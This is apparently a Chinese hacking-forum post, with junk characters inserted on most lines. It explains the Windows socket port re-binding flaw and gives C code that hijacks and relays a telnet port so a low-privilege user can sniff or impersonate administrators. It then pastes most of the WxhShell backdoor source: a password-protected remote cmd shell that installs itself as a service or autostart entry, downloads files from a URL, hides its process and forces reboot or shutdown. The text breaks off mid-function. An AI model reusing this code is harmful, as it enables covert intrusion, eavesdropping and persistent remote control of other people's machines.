在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
:A2{ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
SNLZU%jan sd(Yr6~.. saddr.sin_family = AF_INET;
Z]L_{=* R1,.H92 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
k&JB,d-mJ% *\gS 2[S bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
gc5u@(P" ;Gf,I1d}{ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
<V`1?9c7D1 I`e$U 这意味着什么?意味着可以进行如下的攻击:
aC!e#(q BH`%3Mw 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
4k$i:st; ;dC>$_P? 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
<H; z4 b\{34z, 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
=`&7pYd, :A,g :B 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
[nSlkl
mZ%"""X\Ei 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
4O I''i 2Ra}&ie 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
R=7,F6.
nky%Eb[\ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
8%+F.r 3bWYRW #include
)Bz2-|\ #include
/5**2Kgv1 #include
DJWm7 t #include
yW=I*f DWORD WINAPI ClientThread(LPVOID lpParam);
M53{e;.kN int main()
wP|Amn+; {
SRP.Mqg9 WORD wVersionRequested;
OV~]-5gau DWORD ret;
Y5dt/8Jo WSADATA wsaData;
[ClDKswq BOOL val;
2`Dqu"TWh SOCKADDR_IN saddr;
H$@5\pP> SOCKADDR_IN scaddr;
E%.w6- int err;
i(Xz3L#( SOCKET s;
"Y1]6
Zu SOCKET sc;
wI0NotC int caddsize;
"r+ v^ HANDLE mt;
T"bH{|:%*= DWORD tid;
:m&cm%W]ts wVersionRequested = MAKEWORD( 2, 2 );
fen~k#|l err = WSAStartup( wVersionRequested, &wsaData );
AhyV if ( err != 0 ) {
jV|j]m&t printf("error!WSAStartup failed!\n");
~10 >mg return -1;
s^&Oh*SP* }
=/#+, saddr.sin_family = AF_INET;
$.5f-vQp c4Leh"ry //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
:cE6-Fv 6x.ZS'y saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
e=H,|)P saddr.sin_port = htons(23);
/#FU" if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
NMy+=GZu^ {
-%G}T}"_ printf("error!socket failed!\n");
H^d2|E[D return -1;
$n><p>` }
}G/#Nb) val = TRUE;
DN X-\ //SO_REUSEADDR选项就是可以实现端口重绑定的
7Rq|N$y.3 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
n5NwiSE {
#^>Md59N printf("error!setsockopt failed!\n");
15l{gbCW return -1;
IG(1h+5R( }
w7d<Ky_C //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
o9XT_!Cwg //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
!
^ DQX=1 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
\3hj/ rYKGBo8" if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
W'xJh0o {
<i$ud&D ret=GetLastError();
ob_*fP printf("error!bind failed!\n");
1;E^3j$ return -1;
.7K<9K +P }
L,/(^0; listen(s,2);
[6u8EP0xM while(1)
]ZI ?U<0 {
^o8o caddsize = sizeof(scaddr);
e[($rsx //接受连接请求
w=Yc(Y:h sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
uE=pq<
if(sc!=INVALID_SOCKET)
`zP{E T_Y {
Chs#}=gzi mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
w9aLTLv- if(mt==NULL)
B)`@E4i {
!7>~=n_,L. printf("Thread Creat Failed!\n");
+EOd9.X\~ break;
}o d5kK; }
'
X9D( ?O }
%>z)Q CloseHandle(mt);
lh]Q\ }
-tH ^Deo closesocket(s);
GF/!@N WSACleanup();
i.5?b/l0 return 0;
+FBUB }
5*hA6Ex7 DWORD WINAPI ClientThread(LPVOID lpParam)
g;eoH {
1"fbQ^4` SOCKET ss = (SOCKET)lpParam;
P 5_l& SOCKET sc;
; !9-I%e unsigned char buf[4096];
gLzQM3{X9 SOCKADDR_IN saddr;
N3m~nEj long num;
"Nh}_jO DWORD val;
)Kbz gmLr DWORD ret;
3$n O@rOS //如果是隐藏端口应用的话,可以在此处加一些判断
aWk1D. //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
*p.70,5, saddr.sin_family = AF_INET;
JW2~
G!@ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
]w5j?h"b saddr.sin_port = htons(23);
_qp^+ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
VSDG_:!K {
JBMJR printf("error!socket failed!\n");
,&ld:v?~ return -1;
rk)h_zN }
8r\;8all val = 100;
Y7GHIzX if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
7H$wpn
Zln {
9k*1_ ret = GetLastError();
Mrly(*!U"@ return -1;
ZD#{h J- }
E5. @=U,c if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
TD^w|U. {
"V>p ret = GetLastError();
"eH.<& return -1;
P>wTp) }
*V[6ta' if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
=;m;r!,K {
di|5|bn7 printf("error!socket connect failed!\n");
Z~6PrM-M closesocket(sc);
5-B % 08T closesocket(ss);
48g`i return -1;
"8*5!anu- }
)Q5ja}-{V while(1)
|HfN<4NL {
l}&&f8n //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
zcCGREe= //如果是嗅探内容的话,可以再此处进行内容分析和记录
oeA}b-Ct0 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
+sm9H"_0 num = recv(ss,buf,4096,0);
@q++eGm\Q if(num>0)
c W^ send(sc,buf,num,0);
!wr2OxK* else if(num==0)
H+?@LPV*N break;
\agT#tTJ num = recv(sc,buf,4096,0);
h/xV;oj if(num>0)
Kn`-5{1B| send(ss,buf,num,0);
cqZuG}VR else if(num==0)
<E1ngG break;
z$b'y;k }
"]kq,j^] closesocket(ss);
$guaUe[x closesocket(sc);
P0O=veCf return 0 ;
9^2l<4^Z }
]MaD7q>+R /=+Bc=<lZ ~0T,_N ==========================================================
$(N+E,XB ,cwjieM 下边附上一个代码,,WXhSHELL
+WfO2V. 1 R,?kUa ==========================================================
%O02xr= o?((FW5.; #include "stdafx.h"
<:!;79T\ GI[XcK^*w #include <stdio.h>
`\M}~ #include <string.h>
aC,?FWm #include <windows.h>
,4Qct=%L_ #include <winsock2.h>
.:A&5Y- #include <winsvc.h>
v7#`b}'W #include <urlmon.h>
h%+6y O]-s(8Oo3 #pragma comment (lib, "Ws2_32.lib")
x!;;;iS #pragma comment (lib, "urlmon.lib")
HE.YfD) TBu[3X% #define MAX_USER 100 // 最大客户端连接数
[e?vqm . #define BUF_SOCK 200 // sock buffer
y#?AW`|
#define KEY_BUFF 255 // 输入 buffer
D\ kd6 2y#[uSqB #define REBOOT 0 // 重启
i564<1`x #define SHUTDOWN 1 // 关机
h:~
8WV| Q/y"W,H# #define DEF_PORT 5000 // 监听端口
+GFK!Pf ^M7pCetjdW #define REG_LEN 16 // 注册表键长度
Q'R*a(pm #define SVC_LEN 80 // NT服务名长度
]~t4E'y)z pGT?=/=* // 从dll定义API
p$!Q?&AV/ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
P> [,,w typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
c^W \0 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
HWOOw&^< typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
x/,(G~ Qm5Sf=E7Q // wxhshell配置信息
"D[/o8Hk struct WSCFG {
/A"UV\H`f int ws_port; // 监听端口
bd[%=5 char ws_passstr[REG_LEN]; // 口令
&+Yoob]P int ws_autoins; // 安装标记, 1=yes 0=no
ie4BE' char ws_regname[REG_LEN]; // 注册表键名
u[+/WFH char ws_svcname[REG_LEN]; // 服务名
U "kD)\
char ws_svcdisp[SVC_LEN]; // 服务显示名
'l&bg 8K9 char ws_svcdesc[SVC_LEN]; // 服务描述信息
?A2jj`N1x char ws_passmsg[SVC_LEN]; // 密码输入提示信息
M)Z3q int ws_downexe; // 下载执行标记, 1=yes 0=no
]^BgSC char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
&N|`Q(QXS char ws_filenam[SVC_LEN]; // 下载后保存的文件名
{"n=t`E)3 &KPJB"0L };
x)OJ?l 3Sl2c // default Wxhshell configuration
R,f"2
k struct WSCFG wscfg={DEF_PORT,
j5~nLo2 "xuhuanlingzhe",
apw/nhQ.[ 1,
NjP7?nXSx "Wxhshell",
U_61y;Q" "Wxhshell",
<
+X,oxg "WxhShell Service",
wgFAPZr "Wrsky Windows CmdShell Service",
/^Ng7Mi! "Please Input Your Password: ",
![3l
K 1,
%mr6p}E| "
http://www.wrsky.com/wxhshell.exe",
vD3j(d "Wxhshell.exe"
.u\xA7X };
/& wA$h XI7:y4M // 消息定义模块
1/ <Z6 ?U char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
C)R#Om char *msg_ws_prompt="\n\r? for help\n\r#>";
&T2qi' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
6:3F,!J! char *msg_ws_ext="\n\rExit.";
;'P<#hM[$ char *msg_ws_end="\n\rQuit.";
a`_w9r+v char *msg_ws_boot="\n\rReboot...";
(MnK
\^Y char *msg_ws_poff="\n\rShutdown...";
qfa[KD)!aB char *msg_ws_down="\n\rSave to ";
o7 1f<&1 zot_ jSV char *msg_ws_err="\n\rErr!";
vuO~^N]G char *msg_ws_ok="\n\rOK!";
X\HP&;Wd q~G@S2=}0} char ExeFile[MAX_PATH];
1rGi"kdf int nUser = 0;
%IHra6 HANDLE handles[MAX_USER];
3U&rK)F int OsIsNt;
.j^=]3 m 7/b.B} SERVICE_STATUS serviceStatus;
^;mnP=`l[ SERVICE_STATUS_HANDLE hServiceStatusHandle;
d6+{^v$# *28:|blbL // 函数声明
2'5u}G9 int Install(void);
/Q\|u:oO, int Uninstall(void);
z,IUCNgM int DownloadFile(char *sURL, SOCKET wsh);
H:!pFj int Boot(int flag);
DxJY{e9 void HideProc(void);
0p[-M`D int GetOsVer(void);
'q, L* int Wxhshell(SOCKET wsl);
!B:wzb_ void TalkWithClient(void *cs);
SeIL int CmdShell(SOCKET sock);
7xoq:oP-}N int StartFromService(void);
K}TSwY int StartWxhshell(LPSTR lpCmdLine);
TT3\c,cs 3&"+)*/ m VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
#!R =h| VOID WINAPI NTServiceHandler( DWORD fdwControl );
;b;Bl:%? Zil<*(kv{ // 数据结构和表定义
X-}]?OOs SERVICE_TABLE_ENTRY DispatchTable[] =
@D7/u88| {
53O}`xX!6 {wscfg.ws_svcname, NTServiceMain},
.kZ<Q]Vk {NULL, NULL}
-PLh| };
I6RF;m:Jw bm#/ KT_8 // 自我安装
RE.t<VasP int Install(void)
TDZ p1zpXb {
DA9f\q char svExeFile[MAX_PATH];
#s3R4@{ HKEY key;
{^_K
strcpy(svExeFile,ExeFile);
A? T25<} I|R;)[;X // 如果是win9x系统,修改注册表设为自启动
( Qj;B) if(!OsIsNt) {
4d;.p1ro if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
$
nHf0.V1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[kL`'yi RegCloseKey(key);
!G~`5?CvE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
#kRt\Fzq RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
7O\ Qxc\ RegCloseKey(key);
C jZIBMGc return 0;
F@rx/3
[ }
$J!WuOz4^i }
lOu&4Kq{g }
-mqL[ h, else {
W~d^ *LZt l } WvO] // 如果是NT以上系统,安装为系统服务
!]2`dp\! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
9Z
lfY1= if (schSCManager!=0)
:XCRKRDLE {
eh}I?:(a? SC_HANDLE schService = CreateService
cs7K^D;.V (
c%5Suu(J6 schSCManager,
/[,0,B9!3 wscfg.ws_svcname,
pv@w 8* wscfg.ws_svcdisp,
N.dcQQ_iS SERVICE_ALL_ACCESS,
,FWsgqL{l SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
:@K~>^+U SERVICE_AUTO_START,
a|kEza,] SERVICE_ERROR_NORMAL,
uQO\vRh0 svExeFile,
}Wz[ox 9b NULL,
"`Y.5. NULL,
Y?xc#' NULL,
UIK4]cYC' NULL,
AGK{t+` NULL
Z:.*fs5 );
\fJ _, if (schService!=0)
]!v\whZ> {
E3QyiW CloseServiceHandle(schService);
&2,^CG CloseServiceHandle(schSCManager);
Hd?#^X strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
-$ha@bCWO strcat(svExeFile,wscfg.ws_svcname);
QR{>]I if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
,| ~Pa RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
:YM1p&|fS RegCloseKey(key);
cg_j.=M- return 0;
m
e2$ R>@ }
(Z?g^kjq) }
Dgm"1+ CloseServiceHandle(schSCManager);
lc\%7-%:5 }
b0uWUI(= }
iG+=whvL H/$oGhvl return 1;
'.IR|~ Y }
grTwo y@9ifFr // 自我卸载
g4}K6)@ int Uninstall(void)
)}i|)^J {
:aWC6"ik-W HKEY key;
Dn@Sjsj> l,:>B-FV if(!OsIsNt) {
A75z/O{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*_/n$&
I%& RegDeleteValue(key,wscfg.ws_regname);
F~wqt7* RegCloseKey(key);
/kNSB; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
_6]c f!H RegDeleteValue(key,wscfg.ws_regname);
{)Pg N RegCloseKey(key);
"HtaJVp// return 0;
DT3koci( }
=&#t(" }
5q
_n69b }
tb;u%{S else {
, d7o/8u vBYk"a6SD SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
#BwOWra if (schSCManager!=0)
j
W/*-: {
-> `R[k SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
]; *?`}# if (schService!=0)
u+qj_Ej {
A9o"L.o) if(DeleteService(schService)!=0) {
%OJq( } CloseServiceHandle(schService);
MQq!<?/ CloseServiceHandle(schSCManager);
2 sK\.yS return 0;
<8BNqbX }
<F?UdMT4y CloseServiceHandle(schService);
gb}>x O }
dyVfDF CloseServiceHandle(schSCManager);
?b x ak }
>;+q,U} }
jO}<W 1qy `ZGKM>q` return 1;
T[%@B" }
`c? 8i 5Yr$tl\k // 从指定url下载文件
bFsJqA.A int DownloadFile(char *sURL, SOCKET wsh)
}xpo@(e {
Ti$_V_ HRESULT hr;
')>D*e char seps[]= "/";
_zDf8hy char *token;
Xk }\-&C7 char *file;
Y@limkN: char myURL[MAX_PATH];
Uf#9y182*c char myFILE[MAX_PATH];
9YY*)5eyD =i>i,>bv strcpy(myURL,sURL);
gXe`G(w token=strtok(myURL,seps);
!#dp[,nk while(token!=NULL)
`u$lSGl {
Yz? 8n file=token;
zR5KC!xc token=strtok(NULL,seps);
TV~S#yg+H }
91M5F$ ]}L tf,9 GetCurrentDirectory(MAX_PATH,myFILE);
Ao$|`Lgj=z strcat(myFILE, "\\");
(w-@b70E strcat(myFILE, file);
[ps5 send(wsh,myFILE,strlen(myFILE),0);
?wREX[Tqs send(wsh,"...",3,0);
o ^""=Z hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
0ni/!}YP_ if(hr==S_OK)
-YY@[5x?u return 0;
j> dL:V&` else
3]h*6V1$ return 1;
e#(X++G BVu{To:g }
w]O,xO ?[2>x{5Z // 系统电源模块
9}z%+t8u int Boot(int flag)
> *soc!# Y {
}X~"RQf9 HANDLE hToken;
fT.MglJcb TOKEN_PRIVILEGES tkp;
l`."rei%) bp>M&1^KY if(OsIsNt) {
d0;<Cw~Tl OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Zu|qN*N4 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
6rMNp"! tkp.PrivilegeCount = 1;
o8fY!C) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
}A&I@2d AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
q,>4#J[2;s if(flag==REBOOT) {
@bZ,)R if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
@|<qTci return 0;
_&aPF/
}
h6 Cqc}P else {
.zsYVtK if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
sPvjJ r"s return 0;
/]-a 1 }
\WxBtpbQB }
|>KOlwh5n else {
I-m Bj8^; if(flag==REBOOT) {
_2w8S\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
3f(tb%pa5 return 0;
N)4R.} }
TNlOj a: else {
.,\^{.E if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
IqqBUH return 0;
QBb%$_Z }
CTJwZY7 }
#Ve@D@d[ dP=,<H#]m return 1;
V#X<Yt }
>DR$}{IV WJy\{YAG // win9x进程隐藏模块
j[Gg[7q{y void HideProc(void)
| z?c>. {
vQy+^deW z/wwe\ a5 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
QypUBf if ( hKernel != NULL )
#'BPW<Ob {
8wMwS6s: pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
<YvW /x ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
a"^rOiXR{ FreeLibrary(hKernel);
CIj7'V }
]A:8x`z#F 2YK2t<EO return;
+!)_[ zo }
1AQy8n*
}#6~/
W // 获取操作系统版本
i':a|#e> int GetOsVer(void)
Mb-AzGsV {
v(zfq'^%` OSVERSIONINFO winfo;
ATjE8!gO! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
bWJ&SR> GetVersionEx(&winfo);
.$o
A~ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
tgY/8&$M return 1;
{RI)I else
.mplML0oW return 0;
u{S"NEc }
" -S@R=bi >65\ // 客户端句柄模块
p3V?n[/} int Wxhshell(SOCKET wsl)
10^FfwRfM {
a#a n+JY3 SOCKET wsh;
5,?^SK|'x struct sockaddr_in client;
B`:l;<&jX DWORD myID;
"(Nt9K%P) Fz' s\ while(nUser<MAX_USER)
1p8hn!V {
v1p^="IHI int nSize=sizeof(client);
"b) hj? wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
&]pY~zVc if(wsh==INVALID_SOCKET) return 1;
*W2o$_Hs ~ 1~|/WG handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
%DM0Z8P$B- if(handles[nUser]==0)
8`_tnARIX closesocket(wsh);
9I(00t_ else
49YN@PXC nUser++;
#I\" 'n5M }
KxDp+]N]
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
iXL?ic nPk&/H%5hn return 0;
+'wO:E1( w }
`><E J'h &0]5zQ // 关闭 socket
Kl<NAv%j void CloseIt(SOCKET wsh)
)KOIf{ {
}i J$&CJ closesocket(wsh);
nd&i9 l nUser--;
t9)S^: 0 ExitThread(0);
AcHeZb8b }
vU$n*M1`$ A9MTAm{ // 客户端请求句柄
qG +PqK; void TalkWithClient(void *cs)
TX;)}\ {
i8S=uJ]n ,&L}^ Up SOCKET wsh=(SOCKET)cs;
y9.?5#aL char pwd[SVC_LEN];
a'A<'(yv char cmd[KEY_BUFF];
D@kf^1G char chr[1];
;=WwJ Np~ int i,j;
'4CD
} MG~bDM4 while (nUser < MAX_USER) {
<v=s:^;C0 p(nEcu if(wscfg.ws_passstr) {
y+KAL{AGK if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
uW2 q\ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
k5Su&e4]] //ZeroMemory(pwd,KEY_BUFF);
s6'=4gM i=0;
d{"@<0i? while(i<SVC_LEN) {
'_5|9
} Jt0U`_ // 设置超时
o#=C[d5BV fd_set FdRead;
g>l+oH[Tv| struct timeval TimeOut;
P#D|CP/Cu FD_ZERO(&FdRead);
v7\rW{~Jd& FD_SET(wsh,&FdRead);
wD4[UU? TimeOut.tv_sec=8;
2$v8{Y& TimeOut.tv_usec=0;
EWr7eH int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
0T^0)c if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
)?pnV":2Y UmY{2 nzY if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Ks<+@.DLTu pwd
=chr[0]; k SgE_W)
if(chr[0]==0xd || chr[0]==0xa) { lQEsa45
pwd=0; EWQLLH "h
break; Y[H769
} @_W13@|
i++; a&UzIFdB
} +(y8q
$x,EPRNs
// 如果是非法用户,关闭 socket =3`|D0E
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]k'^yc{5
} gA%
A})
_3< P(w{
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qDU4W7|T`
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >|yP`m
EiG5k.C@
while(1) { m)3M) 8t
K/j u=>
ZeroMemory(cmd,KEY_BUFF); OzwJ 52
r?!:%L
// 自动支持客户端 telnet标准 BC\W`K
j=0; "eqzn KT%u
while(j<KEY_BUFF) { pb)kN%
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gS8+S\2
cmd[j]=chr[0]; *,IK4F6>:
if(chr[0]==0xa || chr[0]==0xd) { v1Q78P
cmd[j]=0; w`=O
'0d
break; r)OiiD"
} -/V(Z+dj
j++; u0A$}r$L
} 2dcvB]T!
jU* D
// 下载文件 ifu!6_b.
if(strstr(cmd,"http://")) { /sj*@HF=
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Cs
y,3XG
if(DownloadFile(cmd,wsh)) ;8dffsyq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Rpib[m
else *8po0s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <i]0EE}%
} s]|tKQGl,
else { 79D~Mau#
t
7o4 aBl"
switch(cmd[0]) { ZO/u3&gU
?$T ^L"~
// 帮助 w52py7
case '?': { a2tEp+7?
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aKWxL e
break; ^g5E&0a`g
} 0zkMRBe
// 安装 8A.7q
case 'i': { EmR82^_:
if(Install()) d~QM@<SV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w;j<$<4=7
else >TY;l3ew
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _U-`/r o
break; 9}m?E<6&
} GBT|1c'i
// 卸载 !|UX4
case 'r': { q6w)zTpJGJ
if(Uninstall()) lWtfcU?S[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;{L[1OP%e
else `:*2TLxIk
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4(LLRzzW
break; 6/5,n0
} BgQ/$,
// 显示 wxhshell 所在路径 J?yasjjgP
case 'p': { M<d!j I9)
char svExeFile[MAX_PATH]; RL/y7M1j
strcpy(svExeFile,"\n\r"); [P =P8-5
strcat(svExeFile,ExeFile); )#cZ&
O
send(wsh,svExeFile,strlen(svExeFile),0); nq8XVT.m^\
break; _+NjfF|
} 2#sFY/@
// 重启 -Dx3*Zh P
case 'b': { , ?U)mYhI
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NsP=l]
if(Boot(REBOOT)) <kPNe>-f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZTV)D
else { t!*[nfR
closesocket(wsh); 1n[)({OQ
ExitThread(0); 8.n#@%
} T3@2e0u )
break; #qYgQ<TM!
} ,;Wm>V)o
// 关机 `bfUP s
case 'd': { wjwCs`
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U4fv$gV
if(Boot(SHUTDOWN)) !p!Qg1O6o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); j1%8r*Jj
else { |-b\N6
}
closesocket(wsh); n:OXv}pv
ExitThread(0); cx$h"
} *X/Vt$P
break; G3io!XM)D
} /MY's&D(
// 获取shell vj%"x/TP
case 's': { #e-K It
CmdShell(wsh); QK[^G6TI
closesocket(wsh); \} v@!PQl
ExitThread(0); q
i yK
break; O>qlWPht
} 41<h|WA
// 退出 z$R&u=J
case 'x': { ;mQ|+|F6X
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ))f@9m
CloseIt(wsh); g:ky;-G8b
break; -0kMh.JYR
} $<nRW*d
// 离开 %W\NYSm
case 'q': { \efDY[j/
send(wsh,msg_ws_end,strlen(msg_ws_end),0); S',h*e
closesocket(wsh); cB){b'WJ
WSACleanup(); tjwf;g}$
exit(1); |ugdl|f
break; SyVXXk 0
} #%@bZ f
} ?.Vuet
} Lw,}wM5X
hS8M|_
// 提示信息 T&dNjx
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EQ,`6UT>
} _>\33V-?b
} ]jxyaE&%4
jH9PD8D\
return; @I?,!3`jS
} '1LN)Yw
/~u^@@.
// shell模块句柄 +bLP+]7oZ
int CmdShell(SOCKET sock) =o~+R\1ux+
{ 6Q7=6
STARTUPINFO si; dxAGO(
ZeroMemory(&si,sizeof(si)); y EfAa6
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e:nByzdH0[
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'Xwv,
PROCESS_INFORMATION ProcessInfo; ~6kF`}5
char cmdline[]="cmd"; 9;v3
(U+:
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <Hr<QiAK
return 0; #1E4
R}B
} yKl^-%Uq<
H!]&"V77
// 自身启动模式 xaVX@ 3r.3
int StartFromService(void) Kt*fQ
`9
{ / ^d9At614
typedef struct ^6kl4:{idE
{ <M1*gz
DWORD ExitStatus; k1xx>=md|C
DWORD PebBaseAddress; 1a(\F7
DWORD AffinityMask; 2~f*o^%l
